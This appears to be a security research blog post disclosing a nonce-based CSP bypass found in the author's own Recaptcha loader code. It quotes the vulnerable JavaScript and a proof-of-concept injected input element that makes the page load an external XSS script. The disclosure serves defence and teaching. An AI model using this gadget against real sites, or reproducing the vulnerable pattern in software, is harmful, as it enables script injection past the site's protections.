Published: 17 September 2021 at 14:00 UTC
Updated: 17 September 2021 at 14:00 UTC
Nonce based policies use a random token assigned to an attribute to determine if the script can execute. The idea is an attacker can't discover this random token and therefore won't be able to inject it and therefore can't execute scripts.
For example this script would be allowed because "random-token" would be a randomized token that the CSP has allowed:
Whereas in this case the attacker has injected their script but does not know the randomized token and therefore the script won't execute.
Our head of the scanner team Alex Borshik decided to run a routine scan of portswigger.net and our dynamic analysis flagged up an interesting issue. He passed the issue over to me and I had a quick look to see what was going on:
I took the stack trace from dynamic analysis and pasted into the Chrome console to show the exact lines of code:
var t = document.querySelector("[id^='RecaptchaClientUrl-']").value
, i = document.querySelector("[id^='RecaptchaClientSecret-']").value
, n = document.createElement("script");
n.id = "RecaptchaScript";
n.src = t + i;
Burp scanner had spotted that the value of an input element was being used to control a script URL.This made the Recaptcha script we'd written vulnerable. The gadget in this case would be the input element and its value property.
This code uses a query selector to get the Recaptcha Client Url. The problem is that if an attacker has an injection vulnerability that occurs before the querySelector's target they can inject a malicious element with the ID "RecaptchaClientUrl-'' and hijack the querySelector's results.
The reason for this is document.querySelector will return the first element that matches the querySelector so what dynamic analysis flagged up was an actual nonce based CSP bypass. This is demonstrated with the following:
<input id="RecaptchaClientUrl-" value="//portswigger-labs.net/xss/xss.js" />
The input element is found using the querySelector and then the value of the input element is read and assigned to a script src attribute causing the attacker's script to be executed.